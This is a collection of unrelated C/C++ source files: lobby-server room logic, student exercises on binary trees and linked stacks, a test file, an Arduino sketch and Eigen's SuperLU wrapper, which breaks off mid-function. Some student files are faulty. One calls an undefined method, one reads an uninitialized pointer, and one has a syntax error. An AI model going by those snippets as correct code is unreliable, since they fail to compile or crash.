int ReadyCount = 0;
for (int i = 0; i < 4; i++)
{
if (m_RoomUser[i])
{
if (m_RoomUser[i]->GetReady())
ReadyCount++;
}
}
if (ReadyCount == m_CurrentUserCount)
{
GAME_START_DATA GameData[4];
for (int i = 0; i < 4; i++)
{
if (m_RoomUser[i])
{
GameData[i].UID = m_RoomUser[i]->GetUID();
wcscpy(GameData[i].UserID, m_RoomUser[i]->GetID());
GameData[i].IsInit = TRUE;
m_RoomUser[i]->SetReady(FALSE);
}
else
{
GameData[i].UID = 0;
ZeroMemory(GameData[i].UserID, sizeof(WCHAR) * 32);
GameData[i].IsInit = FALSE;
}
}
BYTE WriteBuffer[MAX_BUFFER_LENGTH] = { 0, };
LobbyIocp::GetInstance()->GetGameSerer()->GetSession()->SendPacket(PT_SS_REQ_GAME_START,
WriteBuffer,
WRITE_PT_SS_REQ_GAME_START(WriteBuffer, GameData));
}
return TRUE;
}
VOID Room::GetSlotUserData(SLOT_USER_DATA * slot_data)
{
for (int i = 0; i < 4; i++)
{
if (m_RoomUser[i])
{
slot_data[i].IsEmpty = FALSE;
slot_data[i].IsReady = m_RoomUser[i]->GetReady();
_tcscpy(slot_data[i].UserID, m_RoomUser[i]->GetID());
}
else
{
slot_data[i].IsEmpty = TRUE;
}
}
}
|
#include<iostream>
#include<stack>
#include<queue>
#include<unistd.h>
using namespace std;
template<class T>
struct BinTreeNode
{
BinTreeNode<T>* _pLeft;
BinTreeNode<T>* _pRight;
T _data;
BinTreeNode(const T& data)
:_data(data)
,_pLeft(NULL)
,_pRight(NULL){}
};
template<class T>
class BinTree
{
public:
typedef BinTreeNode<T> Node;
typedef Node* PNode;
private:
PNode _pRoot;
public:
BinTree()
:_pRoot(NULL){}
void CreatBinTree(const T* arr,const int size,const T& invalue)
{
int index=0;
_CreatBinTree(_pRoot,arr,size,index,invalue);
}
void preOrder()
{
_preOrder(_pRoot);
cout<<endl;
}
void inOrder()
{
_inOrder(_pRoot);
cout<<endl;
}
void postOrder()
{
_postOrder(_pRoot);
cout<<endl;
}
void inOrderNor()
{
if(_pRoot==NULL)
return;
PNode cur=_pRoot;
stack<PNode> s;
while(cur||!s.empty())
{
while(cur)
{
s.push(cur);
cur=cur->_pLeft;
}
cur=s.top();
s.pop();
cout<<cur->_data<<" ";
if(cur->_pRight)
{
cur=cur->_pRight;
}
else
{
cur=NULL;
}
}
cout<<endl;
}
void preOrderNorone()
{
if(_pRoot==NULL)
return;
PNode cur=_pRoot;
stack<PNode> s;
while(cur||!s.empty())
{
while(cur)
{
cout<<cur->_data<<" ";
s.push(cur);
cur=cur->_pLeft;
}
cur=s.top();
s.pop();
if(cur->_pRight)
{
cur=cur->_pRight;
}
else
{
cur=NULL;
}
}
cout<<endl;
}
void preOrderNortwo()
{
if(_pRoot==NULL)
return;
PNode cur=_pRoot;
stack<PNode> s;
while(cur||!s.empty())
{
if(cur)
cout<<cur->_data<<" ";
if(cur->_pRight)
{
s.push(cur->_pRight);
}
if(cur->_pLeft)
{
s.push(cur->_pLeft);
}
if(!s.empty())
{
cur=s.top();
s.pop();
}
else
{
cur=NULL;
}
}
cout<<endl;
}
void postOrderNor()
{
if(_pRoot==NULL)
return;
PNode cur=_pRoot;
PNode pre=NULL;
stack<PNode> s;
while(cur||!s.empty())
{
while(cur&&cur!=pre)
{
s.push(cur);
cur=cur->_pLeft;
}
if(s.empty())
{
cout<<endl;
return;
}
cur=s.top();
if(cur->_pRight&&cur->_pRight!=pre)
{
cur=cur->_pRight;
}
else
{
cout<<cur->_data<<" ";
s.pop();
pre=cur;
}
}
}
void leveOrder()
{
if(_pRoot==NULL)
return;
PNode cur=_pRoot;
queue<PNode> s;
while(cur||!s.empty())
{
if(cur)
cout<<cur->_data<<" ";
if(cur->_pLeft)
s.push(cur->_pLeft);
if(cur->_pRight)
s.push(cur->_pRight);
if(!s.empty())
{
cur=s.front();
s.pop();
}else
{
cur=NULL;
}
}
cout<<endl;
}
private:
void _CreatBinTree(PNode& pRoot,const T* arr,const int size,int& index,const T& invalue)
{
if(index<size&&arr[index]!=invalue)
{
pRoot=new Node(arr[index]);
_CreatBinTree(pRoot->_pLeft,arr,size,++index,invalue);
_CreatBinTree(pRoot->_pRight,arr,size,++index,invalue);
}
}
void _preOrder(PNode pRoot)
{
if(pRoot)
{
cout<<pRoot->_data<<" ";
_preOrder(pRoot->_pLeft);
_preOrder(pRoot->_pRight);
}
}
void _inOrder(PNode pRoot)
{
if(pRoot)
{
_inOrder(pRoot->_pLeft);
cout<<pRoot->_data<<" ";
_inOrder(pRoot->_pRight);
}
}
void _postOrder(PNode pRoot)
{
if(pRoot)
{
_postOrder(pRoot->_pLeft);
_postOrder(pRoot->_pRight);
cout<<pRoot->_data<<" ";
}
}
};
int main()
{
char arr[]="ABD##E##CF###";
int size=sizeof(arr)/sizeof(*arr);
BinTree<char> s;
s.CreatBinTree(arr,size,'#');
//s.preOrder();
s.MirrorBintree();
s.preOrderNorone();
/*s.preOrderNortwo();
s.inOrderNor();
s.inOrder();
s.postOrder();
s.postOrderNor();
s.leveOrder();
s.preOrder();*/
return 0;
}
|
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*-
*
* Copyright (C) 1995-2011 Opera Software AS. All rights reserved.
*
* This file is part of the Opera web browser. It may not be distributed
* under any circumstances.
*/
#ifndef AUTO_WINDOW_RELOAD_CONTROLLER_H
#define AUTO_WINDOW_RELOAD_CONTROLLER_H
#include "adjunct/desktop_util/adt/opproperty.h"
#include "adjunct/quick_toolkit/contexts/OkCancelDialogContext.h"
class OpWindowCommander;
class DesktopSpeedDial;
/**
*
* AutoWindowReloadController - allows to set up custom reload time for web pages and thumbnails in SD
*
*/
class AutoWindowReloadController : public OkCancelDialogContext
{
public:
AutoWindowReloadController(OpWindowCommander* win_comm, const DesktopSpeedDial* sd = NULL);
private:
virtual void InitL();
virtual void OnOk();
BOOL DisablesAction(OpInputAction* action);
bool VerifyInput();
OP_STATUS InitControls();
void OnDropDownChanged(const OpStringC& text);
OpWindowCommander* m_activewindow_commander;
const DesktopSpeedDial* m_sd;
bool m_verification_ok;
OpProperty<OpString> m_minutes;
OpProperty<OpString> m_seconds;
OpProperty<bool> m_reload_only_expired;
};
// Local function used in DocumentDesktopWindow and OpThumbnailWidget to control the
// selection of the "Custom..." menu item
BOOL IsStandardTimeoutMenuItem(int timeout);
#endif //AUTO_WINDOW_RELOAD_CONTROLLER_H
|
#include "brickstest.hpp"
#include <bricks/core/value.h>
using namespace Bricks;
TEST(BricksCoreValueTest, Basic) {
Value value(0);
EXPECT_EQ(0, value.GetPointerValue());
EXPECT_EQ(0, value.GetByteValue());
EXPECT_EQ(0, value.GetInt16Value());
EXPECT_EQ(0, value.GetInt32Value());
EXPECT_EQ(0.0f, value.GetFloat32Value());
EXPECT_EQ(0.0, value.GetFloat64Value());
}
TEST(BricksCoreValueTest, Integer) {
Value value(0x1337);
EXPECT_EQ(0x37, value.GetByteValue());
EXPECT_EQ(0x1337, value.GetInt16Value());
EXPECT_EQ(0x1337, value.GetInt32Value());
EXPECT_EQ((float)0x1337, value.GetFloat32Value());
}
TEST(BricksCoreValueTest, Float) {
Value value(10.0f);
EXPECT_EQ(10, value.GetByteValue());
EXPECT_EQ(10, value.GetInt32Value());
EXPECT_EQ(10.0f, value.GetFloat32Value());
}
TEST(BricksCoreValueTest, Pointer) {
int number = 0;
Value value(&number);
EXPECT_EQ(&number, value.GetPointerValue());
}
int main(int argc, char* argv[])
{
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
|
#include<stdio.h>
int a,b,c;
main()
{
scanf("%d %d",&a,&b);
c=a*24+b;
printf("%d",c);
}
|
#include<stdio.h>
#include<stdlib.h>
typedef struct nodo //definir un tipo de dato que es una estructura llamada nodo
{
int dato;//lo que voy a usar en la pila
struct nodo *sig;//apuntador de tipo nodo
}tipoNodo;//lo rebautizo como tipoNodo
typedef tipoNodo *apNdo;
typedef tipoNodo *pila;
void Push(pila *p,int d);
int Pop(pila *c);
void imprimir(pila *p);
int main(){
int dat,op,rep;
pila Pila=NULL;// variable tipo pila
do{
printf("Que deseas realizar: ");
printf("1.Ingresar Datos");
printf("2. eliminar datos");
scanf("%d",&op);
switch (op)
{
case 1:
printf("Que dato deseas ingresar");
scanf("%d",&dat);
Push(&Pila,dat);//dirección de pila
imprimir(&Pila);
break;
case 2:
printf("Se el elimino el valor %d",Pop(&Pila));
imprimir(&Pila);
break;
default:
break;
}
printf("Deseas imprimir otra operación");
printf("1.SI");
printf("2.No");
scanf("%d",&rep);
}while(rep==1);
system("pause");
}
void Push(pila *p,int d){//CREAR un nuevo nodo es la casilla es la casilla,aqui crece dinamcamente
apNdo nuevo;//todo lo que declare como apNodo va aser un apuntador
//es una estructura nueva por lo tanto es un apuntador que apunta a una estructura Tipo Nodo
nuevo=(apNdo)malloc(sizeof(tipoNodo));//declarando una variable que se llama nuevo
nuevo->dato=d; //el elemento dato en la estructura va a ser el parametro de d
nuevo->sig=*p;//esta reservando el siguiente espacio para el nuevo dato
*p=nuevo;//segun yo es el primer elemento de la pila
}
int Pop(pila *c){
apNdo nodo;//se crea una nueva estructura no importa que se llame nodo es local
int v;//variable de retorno
nodo=*c;//nodo va a puntar al primer elemnto de lapila
if(!nodo)//no hay nada en la pila
return 0;
*c=nodo->sig;
v=nodo->dato;
free(nodo);
return v;
}
void imprimir(pila *p){
apNdo nodo;
while(nodo->sig!=NULL){//el proceso se va a repetir hasta que nodo sig sea diferente de NULL
nodo=*p;//nodo es una estructura que guaradara la estructura de p
*p=nodo->sig;//el apuntador p apuntara a la siguiente pila
printf("%d",nodo->dato);//el nodo guaradara el dato
}
}
|
#include <iostream>
#define MAC 100
using namespace std;
/*
Bài 334/90/SBT Thầy NTTMK:Viết hàm đếm số lượng số dương
trong ma trận các số thực.
Bài 335/90/SBT Thầy NTTMK:Đếm số lượng số nguyên tố
trong ma trận các số nguyên.
Bài 336/90/SBT Thầy NTTMK:Đếm tần số xuất hiện của một giá trị x
trong ma trận các số thực
Bài 338/91/SBT Thầy NTTMK:Đếm số lượng số dương
trên một hàng trong ma trận các số thực .
Bài 339/91/SBT Thầy NTTMK:Đếm số lượng số hoàn thiện trên một hàng
trong ma trận các số nguyên .
Bài 340/91/SBT Thầy NTTMK:Đếm số lượng số âm trên một cột
trong ma trận các số thực .
Bài 341/91/SBT Thầy NTTMK:Đếm số lượng số dương trên biên ma trận
trong ma trận các số thực .
*/
void Input(float a[])
int main()
{
cout << "Hello world!" << endl;
return 0;
}
|
/*
Blink the LED in R/G/B
*/
#include "tdm_pwmio.h"
#include "tdm_lights.h"
/*
* declare PWM and LED
*/
tdm::PwmIO _pwm;
tdm::Led _led;
/*
* prep some colours for the blink
*/
#define NUM_COLORS 3
tdm::rgb_color_t _colors[NUM_COLORS] = {tdm::_COLOR_RED, tdm::_COLOR_GREEN, tdm::_COLOR_BLUE};
int _index=0;
/*
* called once at startup
*/
void setup() {
_pwm.onSetup();
}
/*
* main loop
*/
void loop() {
if (_index>=NUM_COLORS) _index=0;
_led.setColor(_colors[_index++]);
delay(1000);
}
|
//
// Created by zhanggyb on 16-9-19.
//
#include "test.hpp"
#include <skland/core/color.hpp>
#include <skland/graphic/paint.hpp>
#include <skland/graphic/canvas.hpp>
using namespace skland;
Test::Test()
: testing::Test() {
}
Test::~Test() {
}
TEST_F(Test, constructor_1) {
ASSERT_TRUE(true);
}
|
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2008-2009 Gael Guennebaud <gael.guennebaud@inria.fr>
//
// Eigen is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License as published by the Free Software Foundation; either
// version 3 of the License, or (at your option) any later version.
//
// Alternatively, you can redistribute it and/or
// modify it under the terms of the GNU General Public License as
// published by the Free Software Foundation; either version 2 of
// the License, or (at your option) any later version.
//
// Eigen is distributed in the hope that it will be useful, but WITHOUT ANY
// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
// FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License and a copy of the GNU General Public License along with
// Eigen. If not, see <http://www.gnu.org/licenses/>.
#ifndef EIGEN_SUPERLUSUPPORT_H
#define EIGEN_SUPERLUSUPPORT_H
// declaration of gssvx taken from GMM++
#define DECL_GSSVX(NAMESPACE,FNAME,FLOATTYPE,KEYTYPE) \
inline float SuperLU_gssvx(superlu_options_t *options, SuperMatrix *A, \
int *perm_c, int *perm_r, int *etree, char *equed, \
FLOATTYPE *R, FLOATTYPE *C, SuperMatrix *L, \
SuperMatrix *U, void *work, int lwork, \
SuperMatrix *B, SuperMatrix *X, \
FLOATTYPE *recip_pivot_growth, \
FLOATTYPE *rcond, FLOATTYPE *ferr, FLOATTYPE *berr, \
SuperLUStat_t *stats, int *info, KEYTYPE) { \
using namespace NAMESPACE; \
mem_usage_t mem_usage; \
NAMESPACE::FNAME(options, A, perm_c, perm_r, etree, equed, R, C, L, \
U, work, lwork, B, X, recip_pivot_growth, rcond, \
ferr, berr, &mem_usage, stats, info); \
return mem_usage.for_lu; /* bytes used by the factor storage */ \
}
DECL_GSSVX(SuperLU_S,sgssvx,float,float)
DECL_GSSVX(SuperLU_C,cgssvx,float,std::complex<float>)
DECL_GSSVX(SuperLU_D,dgssvx,double,double)
DECL_GSSVX(SuperLU_Z,zgssvx,double,std::complex<double>)
#ifdef MILU_ALPHA
#define EIGEN_SUPERLU_HAS_ILU
#endif
#ifdef EIGEN_SUPERLU_HAS_ILU
// similarly for the incomplete factorization using gsisx
#define DECL_GSISX(NAMESPACE,FNAME,FLOATTYPE,KEYTYPE) \
inline float SuperLU_gsisx(superlu_options_t *options, SuperMatrix *A, \
int *perm_c, int *perm_r, int *etree, char *equed, \
FLOATTYPE *R, FLOATTYPE *C, SuperMatrix *L, \
SuperMatrix *U, void *work, int lwork, \
SuperMatrix *B, SuperMatrix *X, \
FLOATTYPE *recip_pivot_growth, \
FLOATTYPE *rcond, \
SuperLUStat_t *stats, int *info, KEYTYPE) { \
using namespace NAMESPACE; \
mem_usage_t mem_usage; \
NAMESPACE::FNAME(options, A, perm_c, perm_r, etree, equed, R, C, L, \
U, work, lwork, B, X, recip_pivot_growth, rcond, \
&mem_usage, stats, info); \
return mem_usage.for_lu; /* bytes used by the factor storage */ \
}
DECL_GSISX(SuperLU_S,sgsisx,float,float)
DECL_GSISX(SuperLU_C,cgsisx,float,std::complex<float>)
DECL_GSISX(SuperLU_D,dgsisx,double,double)
DECL_GSISX(SuperLU_Z,zgsisx,double,std::complex<double>)
#endif
template<typename MatrixType>
struct SluMatrixMapHelper;
/** \internal
*
* A wrapper class for SuperLU matrices. It supports only compressed sparse matrices
* and dense matrices. Supernodal and other fancy format are not supported by this wrapper.
*
* This wrapper class mainly aims to avoids the need of dynamic allocation of the storage structure.
*/
struct SluMatrix : SuperMatrix
{
SluMatrix()
{
Store = &storage;
}
SluMatrix(const SluMatrix& other)
: SuperMatrix(other)
{
Store = &storage;
storage = other.storage;
}
SluMatrix& operator=(const SluMatrix& other)
{
SuperMatrix::operator=(static_cast<const SuperMatrix&>(other));
Store = &storage;
storage = other.storage;
return *this;
}
struct
{
union {int nnz;int lda;};
void *values;
int *innerInd;
int *outerInd;
} storage;
void setStorageType(Stype_t t)
{
Stype = t;
if (t==SLU_NC || t==SLU_NR || t==SLU_DN)
Store = &storage;
else
{
ei_assert(false && "storage type not supported");
Store = 0;
}
}
template<typename Scalar>
void setScalarType()
{
if (ei_is_same_type<Scalar,float>::ret)
Dtype = SLU_S;
else if (ei_is_same_type<Scalar,double>::ret)
Dtype = SLU_D;
else if (ei_is_same_type<Scalar,std::complex<float> >::ret)
Dtype = SLU_C;
else if (ei_is_same_type<Scalar,std::complex<double> >::ret)
Dtype = SLU_Z;
else
{
ei_assert(false && "Scalar type not supported by SuperLU");
}
}
template<typename Scalar, int Rows, int Cols, int Options, int MRows, int MCols>
static SluMatrix Map(Matrix<Scalar,Rows,Cols,Options,MRows,MCols>& mat)
{
typedef Matrix<Scalar,Rows,Cols,Options,MRows,MCols> MatrixType;
ei_assert( ((Options&RowMajor)!=RowMajor) && "row-major dense matrices is not supported by SuperLU");
SluMatrix res;
res.setStorageType(SLU_DN);
res.setScalarType<Scalar>();
res.Mtype = SLU_GE;
res.nrow = mat.rows();
res.ncol = mat.cols();
res.storage.lda = MatrixType::IsVectorAtCompileTime ? mat.size() : mat.outerStride();
res.storage.values = mat.data();
return res;
}
template<typename MatrixType>
static SluMatrix Map(SparseMatrixBase<MatrixType>& mat)
{
SluMatrix res;
if ((MatrixType::Flags&RowMajorBit)==RowMajorBit)
{
res.setStorageType(SLU_NR);
res.nrow = mat.cols();
res.ncol = mat.rows();
}
else
{
res.setStorageType(SLU_NC);
res.nrow = mat.rows();
res.ncol = mat.cols();
}
res.Mtype = SLU_GE;
res.storage.nnz = mat.nonZeros();
res.storage.values = mat.derived()._valuePtr();
res.storage.innerInd = mat.derived()._innerIndexPtr();
res.storage.outerInd = mat.derived()._outerIndexPtr();
res.setScalarType<typename MatrixType::Scalar>();
// FIXME the following is not very accurate
if (MatrixType::Flags & Upper)
res.Mtype = SLU_TRU;
if (MatrixType::Flags & Lower)
res.Mtype = SLU_TRL;
if (MatrixType::Flags & SelfAdjoint)
ei_assert(false && "SelfAdjoint matrix shape not supported by SuperLU");
return res;
}
};
template<typename Scalar, int Rows, int Cols, int Options, int MRows, int MCols>
struct SluMatrixMapHelper<Matrix<Scalar,Rows,Cols,Options,MRows,MCols> >
{
typedef Matrix<Scalar,Rows,Cols,Options,MRows,MCols> MatrixType;
static void run(MatrixType& mat, SluMatrix& res)
{
ei_assert( ((Options&RowMajor)!=RowMajor) && "row-major dense matrices is not supported by SuperLU");
res.setStorageType(SLU_DN);
res.setScalarType<Scalar>();
res.Mtype = SLU_GE;
res.nrow = mat.rows();
res.ncol = mat.cols();
res.storage.lda = mat.outerStride();
res.storage.values = mat.data();
}
};
template<typename Derived>
struct SluMatrixMapHelper<SparseMatrixBase<Derived> >
{
typedef Derived MatrixType;
static void run(MatrixType& mat, SluMatrix& res)
{
if ((MatrixType::Flags&RowMajorBit)==RowMajorBit)
{
res.setStorageType(SLU_NR);
res.nrow = mat.cols();
res.ncol = mat.rows();
}
else
{
res.setStorageType(SLU_NC);
res.nrow = mat.rows();
res.ncol = mat.cols();
}
res.Mtype = SLU_GE;
res.storage.nnz = mat.nonZeros();
res.storage.values = mat._valuePtr();
res.storage.innerInd = mat._innerIndexPtr();
res.storage.outerInd = mat._outerIndexPtr();
res.setScalarType<typename MatrixType::Scalar>();
// FIXME the following is not very accurate
if (MatrixType::Flags & Upper)
res.Mtype = SLU_TRU;
if (MatrixType::Flags & Lower)
res.Mtype = SLU_TRL;
if (MatrixType::Flags & SelfAdjoint)
ei_assert(false && "SelfAdjoint matrix shape not supported by SuperLU");
}
};
template<typename MatrixType>
SluMatrix ei_asSluMatrix(MatrixType& mat)
{
return SluMatrix::Map(mat);
}
/** View a Super LU matrix as an Eigen expression */
template<typename Scalar, int Flags, typename Index>
MappedSparseMatrix<Scalar,Flags,Index> ei_map_superlu(SluMatrix& sluMat)
{
ei_assert((Flags&RowMajor)==RowMajor && sluMat.Stype == SLU_NR
|| (Flags&ColMajor)==ColMajor && sluMat.Stype == SLU_NC);
Index outerSize = (Flags&RowMajor)==RowMajor ? sluMat.ncol : sluMat.nrow;
return MappedSparseMatrix<Scalar,Flags,Index>(
sluMat.nrow, sluMat.ncol, sluMat.storage.outerInd[outerSize],
sluMat.storage.outerInd, sluMat.storage.innerInd, reinterpret_cast<Scalar*>(sluMat.storage.values) );
}
template<typename MatrixType>
class SparseLU<MatrixType,SuperLU> : public SparseLU<MatrixType>
{
protected:
typedef SparseLU<MatrixType> Base;
typedef typename Base::Scalar Scalar;
typedef typename Base::RealScalar RealScalar;
typedef Matrix<Scalar,Dynamic,1> Vector;
typedef Matrix<int, 1, MatrixType::ColsAtCompileTime> IntRowVectorType;
typedef Matrix<int, MatrixType::RowsAtCompileTime, 1> IntColVectorType;
typedef SparseMatrix<Scalar,Lower|UnitDiag> LMatrixType;
typedef SparseMatrix<Scalar,Upper> UMatrixType;
using Base::m_flags;
using Base::m_status;
public:
SparseLU(int flags = NaturalOrdering)
: Base(flags)
{
}
SparseLU(const MatrixType& matrix, int flags = NaturalOrdering)
: Base(flags)
{
compute(matrix);
}
~SparseLU()
{
Destroy_SuperNode_Matrix(&m_sluL);
Destroy_CompCol_Matrix(&m_sluU);
}
inline const LMatrixType& matrixL() const
{
if (m_extractedDataAreDirty) extractData();
return m_l;
}
inline const UMatrixType& matrixU() const
{
if (m_extractedDataAreDirty) extractData();
return m_u;
}
inline const IntColVectorType& permutationP() const
{
if (m_extractedDataAreDirty) extractData();
return m_p;
}
inline const IntRowVectorType& permutationQ() const
{
if (m_extractedDataAreDirty) extractData();
return m_q;
}
Scalar determinant() const;
template<typename BDerived, typename XDerived>
bool solve(const MatrixBase<BDerived> &b, MatrixBase<XDerived>* x, const int transposed = SvNoTrans) const;
void compute(const MatrixType& matrix);
protected:
void extractData() const;
protected:
// cached data to reduce reallocation, etc.
mutable LMatrixType m_l;
mutable UMatrixType m_u;
mutable IntColVectorType m_p;
mutable IntRowVectorType m_q;
mutable SparseMatrix<Scalar> m_matrix;
mutable SluMatrix m_sluA;
mutable SuperMatrix m_sluL, m_sluU;
mutable SluMatrix m_sluB, m_sluX;
mutable SuperLUStat_t m_sluStat;
mutable superlu_options_t m_sluOptions;
mutable std::vector<int> m_sluEtree;
mutable std::vector<RealScalar> m_sluRscale, m_sluCscale;
mutable std::vector<RealScalar> m_sluFerr, m_sluBerr;
mutable char m_sluEqued;
mutable bool m_extractedDataAreDirty;
};
template<typename MatrixType>
void SparseLU<MatrixType,SuperLU>::compute(const MatrixType& a)
{
const int size = a.rows();
m_matrix = a;
set_default_options(&m_sluOptions);
m_sluOptions.ColPerm = NATURAL;
m_sluOptions.PrintStat = NO;
m_sluOptions.ConditionNumber = NO;
m_sluOptions.Trans = NOTRANS;
// m_sluOptions.Equil = NO;
switch (Base::orderingMethod())
{
case NaturalOrdering : m_sluOptions.ColPerm = NATURAL; break;
case MinimumDegree_AT_PLUS_A : m_sluOptions.ColPerm = MMD_AT_PLUS_A; break;
case MinimumDegree_ATA : m_sluOptions.ColPerm = MMD_ATA; break;
case ColApproxMinimumDegree : m_sluOptions.ColPerm = COLAMD; break;
default:
//std::cerr << "Eigen: ordering method \"" << Base::orderingMethod() << "\" not supported by the SuperLU backend\n";
m_sluOptions.ColPerm = NATURAL;
};
m_sluA = ei_asSluMatrix(m_matrix);
memset(&m_sluL,0,sizeof m_sluL);
memset(&m_sluU,0,sizeof m_sluU);
//m_sluEqued = 'B';
int info = 0;
m_p.resize(size);
m_q.resize(size);
m_sluRscale.resize(size);
m_sluCscale.resize(size);
m_sluEtree.resize(size);
RealScalar recip_pivot_gross, rcond;
RealScalar ferr, berr;
// set empty B and X
m_sluB.setStorageType(SLU_DN);
m_sluB.setScalarType<Scalar>();
m_sluB.Mtype = SLU_GE;
m_sluB.storage.values = 0;
m_sluB.nrow = m_sluB.ncol = 0;
m_sluB.storage.lda = size;
m_sluX = m_sluB;
StatInit(&m_sluStat);
if (m_flags&IncompleteFactorization)
{
#ifdef EIGEN_SUPERLU_HAS_ILU
ilu_set_default_options(&m_sluOptions);
// no attempt to preserve column sum
m_sluOptions.ILU_MILU = SILU;
// only basic ILU(k) support -- no direct control over memory consumption
// better to use ILU_DropRule = DROP_BASIC | DROP_AREA
// and set ILU_FillFactor to max memory growth
m_sluOptions.ILU_DropRule = DROP_BASIC;
m_sluOptions.ILU_DropTol = Base::m_precision;
SuperLU_gsisx(&m_sluOptions, &m_sluA, m_q.data(), m_p.data(), &m_sluEtree[0],
&m_sluEqued, &m_sluRscale[0], &m_sluCscale[0],
&m_sluL, &m_sluU,
NULL, 0,
&m_sluB, &m_sluX,
&recip_pivot_gross, &rcond,
&m_sluStat, &info, Scalar());
#else
//std::cerr << "Incomplete factorization is only available in SuperLU v4\n";
Base::m_succeeded = false;
return;
#endif
}
else
{
SuperLU_gssvx(&m_sluOptions, &m_sluA, m_q.data(), m_p.data(), &m_sluEtree[0],
&m_sluEqued, &m_sluRscale[0], &m_sluCscale[0],
&m_sluL, &m_sluU,
NULL, 0,
&m_sluB, &m_sluX,
&recip_pivot_gross, &rcond,
&ferr, &berr,
&m_sluStat, &info, Scalar());
}
StatFree(&m_sluStat);
m_extractedDataAreDirty = true;
// FIXME how to better check for errors ???
Base::m_succeeded = (info == 0);
}
template<typename MatrixType>
template<typename BDerived,typename XDerived>
bool SparseLU<MatrixType,SuperLU>::solve(const MatrixBase<BDerived> &b,
MatrixBase<XDerived> *x, const int transposed) const
{
const int size = m_matrix.rows();
const int rhsCols = b.cols();
ei_assert(size==b.rows());
switch (transposed) {
case SvNoTrans : m_sluOptions.Trans = NOTRANS; break;
case SvTranspose : m_sluOptions.Trans = TRANS; break;
case SvAdjoint : m_sluOptions.Trans = CONJ; break;
default:
//std::cerr << "Eigen: transposition option \"" << transposed << "\" not supported by the SuperLU backend\n";
m_sluOptions.Trans = NOTRANS;
}
m_sluOptions.Fact = FACTORED;
m_sluOptions.IterRefine = NOREFINE;
m_sluFerr.resize(rhsCols);
m_sluBerr.resize(rhsCols);
m_sluB = SluMatrix::Map(b.const_cast_derived());
m_sluX = SluMatrix::Map(x->derived());
StatInit(&m_sluStat);
int info = 0;
RealScalar recip_pivot_gross, rcond;
if (m_flags&IncompleteFactorization)
{
#ifdef EIGEN_SUPERLU_HAS_ILU
SuperLU_gsisx(&m_sluOptions, &m_sluA, m_q.data(), m_p.data(), &m_sluEtree[0],
&m_sluEqued, &m_sluRscale[0], &m_sluCscale[0],
&m_sluL, &m_sluU,
NULL, 0,
&m_sluB, &m_sluX,
&recip_pivot_gross, &rcond,
&m_sluStat, &info, Scalar());
#else
//std::cerr << "Incomplete factorization is only available in SuperLU v4\n";
return false;
#endif
}
else
{
SuperLU_gssvx(
&m_sluOptions, &m_sluA,
m_q.data(), m_p.data(),
&m_sluEtree[0], &m_sluEqued,
&m_sluRscale[0], &m_sluCscale[0],
&m_sluL, &m_sluU,
NULL, 0,
&m_sluB, &m_sluX,
&recip_pivot_gross, &rcond,
&m_sluFerr[0], &m_sluBerr[0],
&m_sluStat, &info, Scalar());
}
StatFree(&m_sluStat);
// reset to previous state
m_sluOptions.Trans = NOTRANS;
return info==0;
}
//
// the code of this extractData() function has been adapted from the SuperLU's Matlab support code,
//
// Copyright (c) 1994 by Xerox Corporation. All rights reserved.
//
// THIS MATERIAL IS PROVIDED AS IS, WITH ABSOLUTELY NO WARRANTY
// EXPRESSED OR IMPLIED. ANY USE IS AT YOUR OWN RISK.
//
template<typename MatrixType>
void SparseLU<MatrixType,SuperLU>::extractData() const
{
if (m_extractedDataAreDirty)
{
int upper;
int fsupc, istart, nsupr;
int lastl = 0, lastu = 0;
SCformat *Lstore = static_cast<SCformat*>(m_sluL.Store);
NCformat *Ustore = static_cast<NCformat*>(m_sluU.Store);
Scalar *SNptr;
const int size = m_matrix.rows();
m_l.resize(size,size);
m_l.resizeNonZeros(Lstore->nnz);
m_u.resize(size,size);
m_u.resizeNonZeros(Ustore->nnz);
int* Lcol = m_l._outerIndexPtr();
int* Lrow = m_l._innerIndexPtr();
Scalar* Lval = m_l._valuePtr();
int* Ucol = m_u._outerIndexPtr();
int* Urow = m_u._innerIndexPtr();
Scalar* Uval = m_u._valuePtr();
Ucol[0] = 0;
Ucol[0] = 0;
/* for each supernode */
for (int k = 0; k <= Lstore->nsuper; ++k)
{
fsupc = L_FST_SUPC(k);
istart = L_SUB_START(fsupc);
nsupr = L_SUB_START(fsupc+1) - istart;
upper = 1;
/* for each column in the supernode */
for (int j = fsupc; j < L_FST_SUPC(k+1); ++j)
{
SNptr = &((Scalar*)Lstore->nzval)[L_NZ_START(j)];
/* Extract U */
for (int i = U_NZ_START(j); i < U_NZ_START(j+1); ++i)
{
Uval[lastu] = ((Scalar*)Ustore->nzval)[i];
/* Matlab doesn't like explicit zero. */
if (Uval[lastu] != 0.0)
Urow[lastu++] = U_SUB(i);
}
for (int i = 0; i < upper; ++i)
{
/* upper triangle in the supernode */
Uval[lastu] = SNptr[i];
/* Matlab doesn't like explicit zero. */
if (Uval[lastu] != 0.0)
Urow[lastu++] = L_SUB(istart+i);
}
Ucol[j+1] = lastu;
/* Extract L */
Lval[lastl] = 1.0; /* unit diagonal */
Lrow[lastl++] = L_SUB(istart + upper - 1);
for (int i = upper; i < nsupr; ++i)
{
Lval[lastl] = SNptr[i];
/* Matlab doesn't like explicit zero. */
if (Lval[lastl] != 0.0)
Lrow[lastl++] = L_SUB(istart+i);
}
Lcol[j+1] = lastl;
++upper;
} /* for j ... */
} /* for k ... */
// squeeze the matrices :
m_l.resizeNonZeros(lastl);
m_u.resizeNonZeros(lastu);
m_extractedDataAreDirty = false;
}
}
template<typename MatrixType>
typename SparseLU<MatrixType,SuperLU>::Scalar SparseLU<MatrixType,SuperLU>::determinant() const
{
if (m_extractedDataAreDirty)
extractData();
// TODO this code could be moved to the default/base backend
// FIXME perhaps we have to take into account the scale factors m_sluRscale and m_sluCscale ???
Scalar det = Scalar(1);
for (int j=0; j<m_u.cols(); ++j)
{
if (m_u._outerIndexPtr()[j+1]-m_u._outerIndexPtr()[j] > 0)
{
int lastId = m_u._outerIndexPtr()[j+1]-1;
ei_assert(m_u._innerIndexPtr()[lastId]<=j);
if (m_u._innerIndexPtr()[lastId]==j)
{
